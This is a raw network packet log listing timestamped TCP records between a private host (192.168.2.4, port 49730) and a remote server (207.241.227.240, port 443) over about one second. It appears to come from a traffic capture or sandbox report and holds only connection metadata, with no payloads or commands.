Oct 2, 2024 05:22:09.328139067 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328298092 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328313112 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328373909 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.328382969 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328615904 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328634977 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328668118 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.328676939 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.328702927 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.329018116 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.329031944 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.329091072 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.329099894 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.329307079 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.329324961 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.329379082 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.329386950 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.336551905 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.336568117 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.336683989 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.336708069 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.386069059 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.397690058 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.397708893 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.397888899 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.397914886 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.397969961 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.398108959 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.398149014 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.398190975 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.398205996 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.398247957 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.420581102 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.420603037 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.420792103 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.420810938 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.420866013 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.420955896 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.420973063 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421040058 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.421049118 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421091080 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.421313047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421329021 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421377897 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.421386003 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421432972 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.421753883 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421771049 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421823025 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.421833038 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.421866894 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.422172070 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.422192097 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.422240973 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.422250986 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.422285080 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.429234982 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.429264069 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.429331064 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.429347992 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.429385900 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.490226984 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.490251064 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.490446091 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.490462065 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.490506887 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.490557909 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.490580082 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.490613937 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.490621090 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.490649939 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.490677118 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.513048887 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513070107 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513196945 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.513206959 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513268948 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.513567924 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513583899 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513689041 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.513695002 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513765097 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.513962030 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.513982058 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514039993 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514046907 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514091015 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514316082 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514349937 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514383078 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514389992 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514420986 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514446974 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514578104 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514594078 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514641047 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514647961 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.514672041 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.514703035 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.521460056 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.521477938 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.521708012 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.521716118 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.521763086 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.582699060 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.582725048 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.582819939 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.582849979 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.582901001 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.583039045 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.583058119 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.583116055 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.583123922 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.583172083 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.605777979 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.605802059 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.605945110 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.605956078 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606066942 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.606204033 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606221914 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606326103 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.606333971 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606403112 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.606666088 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606683969 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606749058 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.606756926 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.606796980 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.607232094 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.607271910 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.607320070 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.607327938 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.607347965 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.607376099 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.607547045 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.607568026 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.607610941 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.607618093 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.607645035 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.607665062 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.620338917 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.620359898 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.620522022 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.620531082 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.620588064 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.674951077 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.674974918 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.675122976 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.675136089 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.675188065 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.675419092 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.675436020 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.675499916 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.675508022 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.675553083 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.698214054 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.698231936 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.698404074 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.698425055 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.698499918 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.698807001 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.698827982 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.698899031 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.698905945 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.698951960 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.698988914 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699006081 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699093103 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.699100971 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699139118 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.699479103 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699496984 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699549913 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.699558020 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699600935 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.699774027 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699790955 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699851036 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.699858904 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.699904919 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.706748009 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.706768990 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.706865072 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.706890106 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.706939936 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.767507076 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.767546892 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.767718077 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.767728090 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.767779112 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.767848015 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.767874002 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.767932892 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.767937899 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.767985106 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.790781975 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.790813923 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.790914059 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.790932894 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.790976048 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791191101 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.791224957 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.791260004 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791265011 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.791296005 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791311979 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791681051 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.791702986 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.791745901 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791750908 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.791774988 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791804075 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.791981936 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.792002916 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.792045116 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.792051077 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.792077065 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.792102098 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.792382956 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.792407036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.792442083 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.792447090 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.792476892 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.792506933 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.830229044 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.830260038 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.830492020 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.830512047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.830557108 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.860161066 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.860193968 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.860255957 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.860268116 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.860294104 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.860344887 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.892229080 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.892262936 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.892379045 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.892393112 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.892435074 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.893276930 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.893297911 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.893348932 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.893357992 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.893395901 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.893404007 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.894258976 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.894289017 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.894330978 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.894339085 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.894349098 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.894375086 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.896523952 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.896548986 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.896601915 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.896610022 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.896667004 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.896950006 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.896979094 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.897013903 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.897020102 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.897058010 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.898108959 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.898144007 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.898164034 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.898171902 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.898184061 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.898231983 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.946496010 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.946536064 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.946681976 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.946695089 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.946772099 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.983367920 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.983422995 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.983511925 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.983525038 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:09.983544111 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:09.983568907 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.017091036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.017129898 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.017220974 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.017252922 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.017287016 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.017301083 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.018161058 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.018184900 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.018241882 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.018249989 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.018281937 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.018291950 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.019159079 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.019188881 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.019244909 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.019251108 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.019329071 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.019329071 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.020621061 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.020643950 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.020736933 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.020736933 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.020745039 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.020894051 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.021256924 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.021277905 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.021332979 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.021339893 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.021373987 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.021398067 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.021759987 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.021784067 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.021841049 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.021847010 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.021864891 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.021891117 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.047804117 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.047841072 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.047947884 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.047966003 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.048054934 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.076809883 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.076843977 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.077025890 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.077025890 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.077050924 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.077136040 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.109513998 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.109553099 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.109751940 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.109786034 CEST	443	49730	207.241.227.240	192.168.2.4
